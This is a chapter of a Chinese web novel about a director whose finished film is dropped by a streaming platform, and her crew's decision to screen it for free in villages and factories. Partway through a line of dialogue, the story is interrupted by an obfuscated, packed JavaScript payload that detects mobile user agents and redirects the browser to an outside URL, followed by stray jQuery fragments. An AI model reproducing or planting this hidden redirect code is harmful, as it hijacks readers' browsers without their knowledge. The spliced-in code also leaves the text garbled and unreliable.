杀青后的第三天，庆祝的气氛还没散去，第一记重锤就砸了下来。


    早上九点，沈小鱼接到法务的电话，声音急促：


    “沈导，出事了。‘星辉视频’那边……拒绝履行播出协议。”


    沈小鱼正在剪辑室看粗剪素材，闻言愣了一下：


    “拒绝？为什么？”


    “他们说……我们的内容‘不符合平台价值观导向’，审核没通过。”


    “不可能。”


    沈小鱼说，“我们开机前就把完整剧本送审了，他们当时说没问题。而且拍摄期间，他们的内容监制还来过现场，也没提异议。”


    电话那头沉默了两秒。


    “问题就在这儿。”


    法务说，“我查了所有文件，发现我们和星辉……根本没有签署正式合同。”


    沈小鱼握紧手机：


    “什么意思？”


    “只有意向书，没有最终协议。”


    法务的声音有些发颤，“意向书里有一条：‘具体合作细节以最终协议为准’。而最终协议，我们一直在等他们出草案，他们一直说‘在走流程’。现在他们说，意向书没有法律约束力，他们有权单方面终止合作。”


    沈小鱼只觉得一股冷意从脊椎窜上来。


    她想起三个月前，星辉视频的内容副总裁亲自来水泥厂，握着她的手说：


    “沈导，《野草》这种有深度的作品，正是我们平台需要的。你放心拍，播出的事包在我们身上。”


    她想起拍摄期间，星辉派来的监制每天在片场转悠，还提了不少“建设性意见”。


    她想起一周前，她还和那位副总裁通过电话，对方热情地说：


    “等成片出来，我们给首页大推荐！”


    原来都是假的。


    所有的热情、承诺、支持，都是烟雾弹。


    他们从一开始就没打算真的播，只是在拖时间，等《野草》拍完，等剧组把所有资源耗尽，然后一纸通知，把路堵死。


    而《野草》现在的情况是：


    拍摄花光了所有预算——众筹的一亿，□□的三千万扶持，全部用在了制作上。


    没有预留宣发费用，因为当初和星辉谈的是“平台全权负责宣发”。


    如果没有播出平台，《野草》就是一部“仓库片”——拍完了，但没人能看见。


    “沈导？”


    法务在电话那头问，“现在怎么办？”


    沈小鱼深吸一口气：


    “还有其他平台联系过吗？”


    “有。但都是小平台，流量可以忽略不计。而且……我听说，星辉已经放出话，说《野草》‘内容敏感’，其他平台谁接，就是和他们作对。”


    明白了。


    这是封杀的升级版：不再是阻挠拍摄，是扼杀播出。


    让你所有努力，最后变成一场空。


    挂断电话后，沈小鱼在剪辑室里坐了很久。


    电脑屏幕上还暂停着许昕最后那个走进黑暗的镜头。


    那个背影那么坚定，那么有力，仿佛真的能走向某个光明的地方。


    但现在，那个光明可能永远不会来了。


    门被敲响。


    陆青然推门进来，脸色也很难看：“听说了？”


    沈小鱼点头。


    “我刚接到一个电话，”陆青然说，“是‘光影传媒’的制片人，我之前合作过。他偷偷告诉我，八大公司开过会，达成了共识：绝不能让《野草》上映。”


    他顿了顿：


    “他们说，如果《野草》成功了，就证明‘星火计划’那套模式是可行的。那以后，新人编剧、新人导演、新人演员，都会走这条路，不再依赖大公司。所以……必须掐死在摇篮里。”


    沈小鱼笑了。


    苦笑。


    “所以我们现在是……行业公敌？”


    “差不多。”


    陆青然在她对面坐下，“沈导，我有个想法。”


    “说。”


    “既然平台不播，我们就自己播。”


    陆青然眼睛里有种孤注一掷的光，“用‘透明创作联盟’的平台，免费放。不赚钱，就为了让人看见。”


    沈小鱼摇头：“联盟平台的流量，撑死百万级别。而一部电影需要的是千万、上亿的观看量，才能收回成本，才能产生影响力。”


    “那怎么办？就这么认了？”


    “不。”


    沈小鱼站起来，“我们不能认。”


    她走到窗前，看着外面灰蒙蒙的天空：


    “青然，你记得我们拍《荒原之诗》的时候，也遇到过类似的情况吗？”


    “记得。当时所有院线都不给排片。”


    “后来怎么解决的？”


    “靠口碑。”


    陆青然说，“靠观众自发宣传，靠一场一场的包场，硬是把票房拉起来了。”


    “对。”


    沈小鱼转身，“所以这次也一样。平台不播，我们就自己找观众。一家一家影院谈，一场一场放映做，一个城市一个城市跑。”


    她顿了顿：


    “但这次更难。因为《荒原之诗》至少能上映。而《野草》，可能连龙标都拿不到——如果星辉真的动了关系，卡我们的审核的话。”


    房间里陷入沉默。


    这时，许昕推门进来。


    她显然也听说了，眼睛红红的，但眼神很坚定：


    “沈老师，陆老师，我有个想法。”


    两人看向她。


    “我老家，云南的那个山村，每年春节都会在村口放露天电影。”


    许昕说，“放的都是老片子，但全村人都来看，坐在地上看，看到半夜。”


    她深吸一口气：


    “如果大影院不让放，我们就去农村放，去工厂放，去学校放。不要钱，就放给想看的人看。”


    她看着沈小鱼：


    “您说过，《野草》拍的不是给资本看的电影，是给普通人看的电影。那我们就……放给普通人看。”


    沈小鱼看着眼前这个女孩。


    三个月前，她还只是个在山村喂猪、梦想演戏的孩子。


    现在，她在教他们怎么做电影。


    这或许就是《野草》真正的意义：


    它让每个参与其中的人，都长出了自己的力量。


    “好。”


    沈小鱼说，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066447|193092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我们就这么干。”


    她拿出手机，在剧组群里发了一条消息：


    “所有人，下午两点，一号棚开会。有重要事情宣布。”


    然后她给光头大哥打电话：


    “大哥，帮我个忙。”


    “沈总你说！”


    “帮我联系所有你能联系到的——工地、工厂、学校、社区，问他们愿不愿意免费放电影。电影是我们拍的，设备我们自带，只要给个空地，给点电。”


    光头大哥愣了几秒，然后吼起来：


    “没问题！老子别的没有，就是兄弟多！工地、厂子、学校，要多少有多少！”


    电话挂断。


    沈小鱼看着陆青然和许昕：


    “准备好了吗？”


    两人点头。


    “这是一场硬仗。”


    沈小鱼说，“比拍摄更难。因为拍摄至少我们知道敌人在哪。而现在，敌人是整个系统。”


    她顿了顿：


    “但我们没有退路。”


    “《野草》必须被看见。”


    “因为如果它不被看见，就意味着——那些努力、那些突破、那些在黑暗里找到的光，都没有意义。”


    “而我，不允许这种事情发生。”


    她推开剪辑室的门。


    外面，剧组的人已经开始往一号棚聚集。


    每个人的脸上都写着担忧，但没有人逃跑，没有人放弃。


    他们站在那里，看着沈小鱼。


    等一个答案。


    等一个方向。


    沈小鱼走到他们面前，开口：


    “各位，有一个坏消息。”


    她说了星辉毁约的事，说了行业的封杀，说了可能的困境。


    每说一句，人群的脸色就白一分。


    但她最后说：


    “但还有一个好消息。”


    所有人抬头。


    “好消息是——”


    沈小鱼的声音提高，“我们拍出了一部好电影。一部足够好、好到值得我们去拼命让它被看见的电影。”


    她看着每一张脸：


    “现在，选择摆在面前：我们可以认输，把电影锁进硬盘，各回各家。也可以选择另一条路——一条更难、更累、可能没有任何回报的路：我们自己带着电影，去找观众。”


    她顿了顿：


    “选第一条，我不怪你们。选第二条——我要提前说清楚：没有工资，没有补贴，只有盒饭和路费。我们要像卖艺的戏班子一样，一个地方一个地方跑，求人给我们放电影。”


    “现在，选择吧。”


    “要走的人，现在就可以离开。留下的，下午三点，在这里集合。”


    她说完，转身离开。


    把空间留给所有人。


    一小时后，她回到一号棚。


    棚里站满了人。


    一个都没少。


    不仅没少，还多了——场务组那几个已经杀青离组的兄弟，听说消息后，从别的剧组请假赶了回来。


    美术组那个女孩，把男朋友也带来了，说“他开车技术好，能当司机”。


    沈小鱼看着这一切，忽然觉得眼眶发热。